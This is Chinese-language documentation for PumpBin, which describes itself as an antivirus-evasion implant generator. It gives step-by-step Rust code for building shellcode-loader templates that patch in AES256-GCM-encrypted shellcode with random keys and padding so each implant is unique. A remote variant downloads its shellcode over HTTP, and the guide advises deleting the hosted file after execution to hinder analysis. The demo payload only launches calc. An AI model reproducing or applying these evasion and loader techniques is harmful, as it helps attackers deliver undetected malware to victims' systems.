PumpBin

PumpBin是一个免杀生成平台.

要使用PumpBin, 你需要先获取一个b1n文件或者创建一个.
b1n文件包含一个或多个二进制植入物模板, 以及一些Extism Plug-in和一些描述性信息.
我们通常称b1n文件为Plugin, 称wasm文件为Extism Plug-in.

plug-in仓库收集可重用的PumpBin Extism Plug-in.

  • 强大, 简洁, 舒适的UI
  • 遵循最小原则,保证使用的最大灵活性
  • 支持两种Plugin类型, LocalRemote
  • 支持Extism插件系统, 拥有强大的扩展性
  • 每个生成的植入物都有不同的随机加密密钥
  • 填充随机数据,每个生成的植入物都是唯一的
  • 我们有用户手册, 你不再需要教育你的用户
  • 没有任何依赖, 只有PumpBin
  • 支持描述,你可以写下任何关于这个Plugin的信息
  • 没有网络连接(不包括Extism Plug-in)
  • ... 我是PumpBin, 我有魔法🪄

Contributing

网站使用mdBook生成, 托管在GitHub.
如果你写了一篇关于PumpBin的文章, 请提交一个 issue, 我会考虑链接你的文章 :)

Quick Start

在这一章, 我们将制作一个Local类型的Plugin, 并理解PumpBin的工作原理.

Local类型的Plugin, shellcode在最终植入物内部存放. 这种方式有一定的稳定性优势, 但是shellcode容易被提取分析.

PumpBin将读取shellcode文件, 并根据加密设置将加密后的shellcode动态patch到二进制植入物模板内, 加密所使用的随机密码也会一同patch.

所以PumpBin本质上是一个二进制数据搜索替换工具, 这种实现方式要求预先在二进制植入物内放置占位数据, 一旦编译完成, 占位数据长度将不可更改.

一般情况下, 我们会让shellcode占位数据长度比所需要的稍大一些(如果你知道将要使用的shellcode长度), 这有两个原因:

  1. 为了更大的兼容性(如果Plugin shellcode占位数据长度小于加密后的shellcode长度, Plugin将无法用于此shellcode)
  2. 多出的占位数据并非无用, PumpBin将用随机数据填充, 保证每次生成的植入物都是唯一的

制作二进制植入物模板

我将使用rust-shellcode中的create_thread作为加载代码.

克隆rust-shellcode

git clone --depth 1 https://github.com/b1nhack/rust-shellcode.git

进入create_thread目录

cd rust-shellcode
cd create_thread

编译运行, 测试是否成功加载演示shellcode
默认会运行w64-exec-calc-shellcode-func.bin, 你应该看到calc程序被启动.

cargo r

我们需要使用shellcode占位数据替换w64-exec-calc-shellcode-func
create_thread目录下创建build.rs, 并粘贴以下代码

use std::{fs, iter};

fn main() {
    let mut shellcode = "$$SHELLCODE$$".as_bytes().to_vec();
    shellcode.extend(iter::repeat(b'0').take(1024 * 1024));
    fs::write("shellcode", shellcode.as_slice()).unwrap();
}

这样我们会生成一个大约1MiB的占位数据, 并且由$$SHELLCODE$$开头(我们称其为Prefix, PumpBin使用它来定位占位数据, 所以Prefix需要保持唯一, PumpBin会使用第一个匹配结果).

将main.rs第11行替换为下面的代码, 使其包含占位数据

let shellcode = include_bytes!("../shellcode");

由于shellcode后会填充随机数据, 我们需要知道shellcode的长度, 以正确取出shellcode.

在main.rs 11行代码后添加以下代码

const SIZE_HOLDER: &str = "$$99999$$";
let shellcode_len = usize::from_str_radix(SIZE_HOLDER, 10).unwrap();
let shellcode = &shellcode[0..shellcode_len];

我们添加了一个常量字符串引用, $$99999$$也是一个Prefix, 不过我们更喜欢称其为Place Holder, 因为它将被完全替换. (Prefix会以有效数据+随机数据的形式完全替换, 而Place Holder会以有效数据完全替换)

有了shellcode的长度信息, 我们可以获取到正确的shellcode, 编译修改后的create_thread项目, 我们将得到一个简单的二进制植入物模板

cargo b -r

制作Plugin

现在我们有了一个简单的二进制植入物模板, 我们可以使用PumpBin Maker制作一个只包含Windows Exe的Plugin

Plugin Name填写first_plugin. (这个字段是Plugin的唯一标识, 这意味着用户无法同时安装两个同名的Plugin)

Prefix填写$$SHELLCODE$$. (这是我们上面shellcode占位数据的Prefix, 你可以使用任何你喜欢的Prefix, 只要确保它是唯一的, 或者是第一个被匹配的)

Max Len填写shellcode占位数据的总大小, 在这个例子中应该是 1024*1024 + Prefix的大小 = 1048589. (单位是Bytes)

Type选择Local, Size Holder填写$$99999$$. (这是我们上面用来确定shellcode长度的常量字符串引用, 你可以使用任何你喜欢的Size Holder, 规则同上)

Windows Exe选择我们上面编译好的二进制植入物模板. (也可以直接填写文件路径)

点击Generate, 保存生成的b1n文件

测试Plugin

用PumpBin安装制作的Plugin, 并使用w64-exec-calc-shellcode-func生成一个最终植入物, 运行应该看到calc程序被启动.

至此, 我们制作了一个Local类型的Plugin, 并理解了PumpBin的工作原理.

下一章将介绍PumpBin中的加密系统, 加密过程对用户透明, 由Plugin开发者决定, 由PumpBin处理.

本例中的完整项目文件在PumpBin代码仓库的examples/create_thread.

Encryption

在这一章, 我们将优化上一章制作的Plugin, 使用AES256-GCM加密shellcode.

大部分黑客应该都想加密自己的shellcode, 没有人会愿意暴露基础设施.

制作二进制植入物模板

要制作有加密功能的Plugin, 我们的二进制植入物模板需要先实现对应的解密逻辑.

我们将在上一章代码的基础上更改.

在Cargo.toml文件末尾添加下面的依赖

aes-gcm = "0.10.3"

在main.rs中的main函数上面添加如下解密函数

fn decrypt(data: &[u8]) -> Vec<u8> {
    const KEY: &[u8; 32] = b"$$KKKKKKKKKKKKKKKKKKKKKKKKKKKK$$";
    const NONCE: &[u8; 12] = b"$$NNNNNNNN$$";

    let aes = Aes256Gcm::new_from_slice(KEY).unwrap();
    let nonce = Nonce::from_slice(NONCE);
    aes.decrypt(nonce, data).unwrap()
}

其中两个被$$包裹的数组引用, 上一章已经出现过, 是两个Place Holder, PumpBin使用它来定位占位数据. (Place Holder是固定大小, Prefix是动态大小, 所以上一章中需要Size Holder来确定shellcode真实长度, 并且还需要Max Len字段)

在main.rs中main函数内第4行后添加如下代码

let shellcode = decrypt(shellcode);

添加完成后的main函数如下

fn main() {
    let shellcode = include_bytes!("../shellcode");
    const SIZE_HOLDER: &str = "$$99999$$";
    let shellcode_len = usize::from_str_radix(SIZE_HOLDER, 10).unwrap();
    let shellcode = &shellcode[0..shellcode_len];
    let shellcode = decrypt(shellcode);
    let shellcode_size = shellcode.len();
    ...

编译修改后的create_thread项目, 我们将得到一个使用AES256-GCM解密shellcode的二进制植入物模板.

cargo b -r

制作Plugin

我们使用PumpBin Maker制作Plugin, 步骤和上一章相同, 唯一不同的是我们还需要一个实现了对应解密逻辑的Extism Plug-in.

plug-in仓库收集可重复使用的PumpBin Extism Plug-in, 其中包含aes256-gcm Extism Plug-in.

README.md中说明了使用方法

key: $$KKKKKKKKKKKKKKKKKKKKKKKKKKKK$$
nonce: $$NNNNNNNN$$

我们需要在二进制植入物模板的解密函数中使用特定的key和nonce作为Place Holder, 我们前面已经这样做了. (如果你前面修改了解密函数中的KEY或者NONCE, 那么你需要从添加解密函数步骤重新开始)

下载编译后的aes256_gcm.wasm, 并将文件路径输入到到PumpBin Maker中的Encrypt Shellcode Plug-in输入框中. (也可以使用文件选择对话框选择下载的aes256_gcm.wasm文件)

Plugin Name填写first_plugin. (这个字段是Plugin的唯一标识, 这意味着用户无法同时安装两个同名的Plugin)

Prefix填写$$SHELLCODE$$. (这是我们上面shellcode占位数据的Prefix, 你可以使用任何你喜欢的Prefix, 只要确保它是唯一的, 或者是第一个被匹配的)

Max Len填写shellcode占位数据的总大小, 在这个例子中应该是 1024*1024 + Prefix的大小 = 1048589. (单位是Bytes)

Type选择Local, Size Holder填写$$99999$$. (这是我们上面用来确定shellcode长度的常量字符串引用, 你可以使用任何你喜欢的Size Holder, 规则同上)

Windows Exe选择我们上面编译好的二进制植入物模板. (也可以直接填写文件路径)

点击Generate, 保存生成的b1n文件

测试Plugin

用PumpBin安装制作的Plugin, 并使用w64-exec-calc-shellcode-func生成一个最终植入物, 运行应该看到calc程序被启动.

至此, 我们制作了一个使用AES256-GCM加密方法的Local类型Plugin

前两章中, 我总是将Local引用起来, 以提醒这是一个关键词, 正确理解它们对于使用PumpBin非常重要.

下一章, 我们将制作第一个Remote类型的Plugin. 这允许将shellcode托管在远程服务器.

本例中的完整项目文件在PumpBin代码仓库的examples/create_thread_encrypt.

Remote Type

在这一章, 我们将制作一个Remote类型的Plugin.

Remote类型的Plugin, shellcode托管在远程服务器上, 可以通过控制shellcode的访问性, 使shellcode更难被提取分析, 从而保护基础设施.

例如, 在植入物运行成功后, 将远程shellcode文件删除. (前提是你没有其他依赖这个链接的植入物需要运行)

建议始终给每个生成的最终植入物设置一个唯一的shellcode托管地址(一个最终植入物对应一个链接)

制作二进制植入物模板

我们将在上一章代码的基础上进行修改

首先, 我们需要一种方式从远程服务器获取加密的shellcode文件, 而不是将shellcode占位数据预先包含到二进制植入物模板中.

删除build.rs (不再需要生成shellcode占位数据).

在Cargo.toml末尾添加依赖项, 本例中使用http协议作为演示. (可以使用任何协议, 或以任何方式实现下载函数)

reqwest = { version = "0.12.5", features = ["blocking"] }

在main.rs的main函数上添加如下下载函数

fn download() -> Vec<u8> {
    const URL: &[u8; 81] =
        b"$$UURRLL$$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
    let url = CStr::from_bytes_until_nul(URL).unwrap();
    reqwest::blocking::get(url.to_str().unwrap())
        .unwrap()
        .bytes()
        .unwrap()
        .to_vec()
}

$$UURRLL$$是一个Prefix, 这意味着URL常量会以有效数据+随机数据填充, 所以建议预留一部分字节让PumpBin填充随机字节.

由于url或之类的托管地址大部分都是可打印字符, 所以此处的处理与第一章中$$SHELLCODE$$ Prefix略有不同.

我们不再需要Size Holder来区分有效数据, 相反PumpBin会在有效数据后添加一个\x00字节, 以定位有效数据. (所以实际最大URL长度会比Max Len少一个字节, 因为末尾一定会添加一个\x00字节)

这在rust中很容易实现, 其他语言应该也有类似的实现. 如果没有, 只需要for循环逐字节判断是否是\x00字节.

实现了下载函数后, 我们需要在main.rs中使用它替换shellcode占位数据

删除main.rs中main函数的前四行代码, 并在第一行添加以下代码

let shellcode = download();
let shellcode = shellcode.as_slice();

修改后的main函数如下

fn main() {
    let shellcode = download();
    let shellcode = shellcode.as_slice();
    let shellcode = decrypt(shellcode);
    let shellcode_size = shellcode.len();
    ...

编译修改后的create_thread项目, 我们将得到一个使用http协议下载加密shellcode文件的二进制植入物模板.

cargo b -r

制作Plugin

使用PumpBin Maker制作Plugin, 与前面章节类似.

Prefix填写$$UURRLL$$

Max Len填写URL常量数组引用的长度 81.

Type选择Remote

下载编译后的aes256_gcm.wasm, 并将文件路径输入到到PumpBin Maker中的Encrypt Shellcode Plug-in输入框中. (也可以使用文件选择对话框选择下载的aes256_gcm.wasm文件)

Plugin Name填写first_plugin. (这个字段是Plugin的唯一标识, 这意味着用户无法同时安装两个同名的Plugin)

Windows Exe选择我们上面编译好的二进制植入物模板. (也可以直接填写文件路径)

点击Generate, 保存生成的b1n文件

测试Plugin

用PumpBin安装制作的Plugin, 点击Encrypt按钮选择w64-exec-calc-shellcode-func生成加密的shellcode文件.

使用Python3在加密后的shellcode文件同级目录下开启一个http服务

python -m http.server 8000

加密shellcode文件的本地http地址应该是http://127.0.0.1:8000/shellcode.enc

填入PumpBin, 生成最终植入物, 运行应该看到访问请求, calc程序被启动.

如果使用的Encrypt Shellcode Plug-in使用随机加密密码

每次点击Encrypt按钮成功加密shellcode后, 都将更新内部记录的随机加密密码(因为需要将真实加密密码patch到二进制植入物模板中). 如果你加密了一次shellcode(称其为shellcode0), 将shellcode0上传到远程服务器, 并将链接填写到PumpBin中, 但是在生成最终植入物前, 又加密了一次shellcode(称其为shellcode1), 然后再生成最终植入物, 那么生成的最终植入物只能解密shellcode1, 而无法解密远程的shellcode0文件.

后续章节将介绍如何开发PumpBin Extism Plug-in, 以及更多的内部细节, 帮助赛博安全研究员应对复杂的需求.

比如: 如何在用户点击Encrypt按钮加密shellcode后将加密的shellcode隐写到png文件中, 再将png文件上传到某个网站, 上传成功后将远程png文件访问地址自动填写到shellcode url输入框中.

本例中的完整项目文件在PumpBin代码仓库的examples/create_thread_remote.

Extism Plug-in

PumpBin使用Extism实现插件系统.

注意: Extism的主要用例之一是构建可扩展的软件和插件. 您希望能够从用户那里执行任意, 不受信任的代码? Extism使这样做既安全又实用.

PumpBin Extism Plug-in输入输出均是字节流, 并使用json序列化, Plug-in需要将输入字节流反序列化成json, 将json输出序列化成字节流. 在rust中使用serde_json的示例如下:

#[derive(Debug, Serialize, Deserialize)]
pub struct Input {
    ...
}

#[derive(Debug, Serialize, Deserialize)]
pub struct Output {
    ...
}

#[plugin_fn]
pub fn extism_plugin(input: Vec<u8>) -> FnResult<Vec<u8>> {
    let input = serde_json::from_slice::<Input>(input.as_slice())?;
    ...
    let output = Output { ... };
    Ok(serde_json::to_vec(&output)?)
}

常见错误

如果Plug-in中有任何代码涉及syscalls, 则需要编译为启用wasi模块. 比如生成随机数, 网络访问等等. (推荐直接编译为启用wasi模块, 避免错误, rust中为wasm32-wasi target)

Extism官网有使用各种语言开发Plug-in的详细教程, 下面是PumpBin Extism Plug-in的API文档.

以remote结尾的是Remote类型Plugin特有的Extism Plug-in.

encrypt_shellcode

将原始shellcode加密.

函数名

encrypt_shellcode

Input

{
  "shellcode": []
}

shellcode为字节数组, 是原始shellcode.

Output

{
  "encrypted": [],
  "pass": [
    {
      "holder": [],
      "replace_by": []
    },
    {
      "holder": [],
      "replace_by": []
    }
  ]
}

encrypted为字节数组, 是加密后的shellcode.

pass为以下json结构数组, 用于patch二进制植入物模板中的加密密码(有的加密方式有多个密码, 所以是一个数组):

{
    "holder": [],
    "replace_by": []
}

holder为字节数组, 是二进制植入物模板解密函数中的密码占位符. 分享Plug-in时请告知如何正确设置解密函数中的密码. 比如plug-in仓库中的aes256-gcm有如下READEME内容:

key: $$KKKKKKKKKKKKKKKKKKKKKKKKKKKK$$
nonce: $$NNNNNNNN$$

上述内容表明使用aes256-gcm Plug-in, 需要将二进制植入物模板AES256-GCM解密函数中的key设置为$$KKKKKKKKKKKKKKKKKKKKKKKKKKKK$$, nonce设置为$$NNNNNNNN$$.

replace_by为字节数组, 是加密密码. 可以在Plug-in中生成随机加密密码, 使每个生成的最终植入物都有唯一的加密密码.

format_encrypted_shellcode

将加密后的shellcode转换成另一种格式, 比如隐写到png, 转换成UUID ...

函数名

format_encrypted_shellcode

Input

{
  "shellcode": []
}

shellcode为字节数组, 是加密后的shellcode.

Output

{
  "formated_shellcode": []
}

formated_shellcode为字节数组, 是转换后的shellcode.

format_url_remote

将shellcode url转换成另一种格式. (Remote Only)

函数名

format_url_remote

Input

{
  "url": ""
}

url为字符串, 是原始shellcode url.

Output

{
  "formated_url": ""
}

formated_url为字符串, 是转换后的shellcode url.

upload_final_shellcode_remote

将final shellcode上传到远程服务器. (Remote Only)

final shellcode是经过加密和转换后的shellcode, 如果某个Plug-in未设置, 则原样返回, 例如format_encrypted_shellcode Plug-in未设置, 则原样返回传入的加密后的shellcode.

函数名

upload_final_shellcode_remote

Input

{
  "final_shellcode": []
}

final_shellcode为字节数组, 是final shellcode.

Output

{
  "url": ""
}

url为字符串, 是上传后的url地址, PumpBin将自动填写到shellcode url输入框中.

Getting Started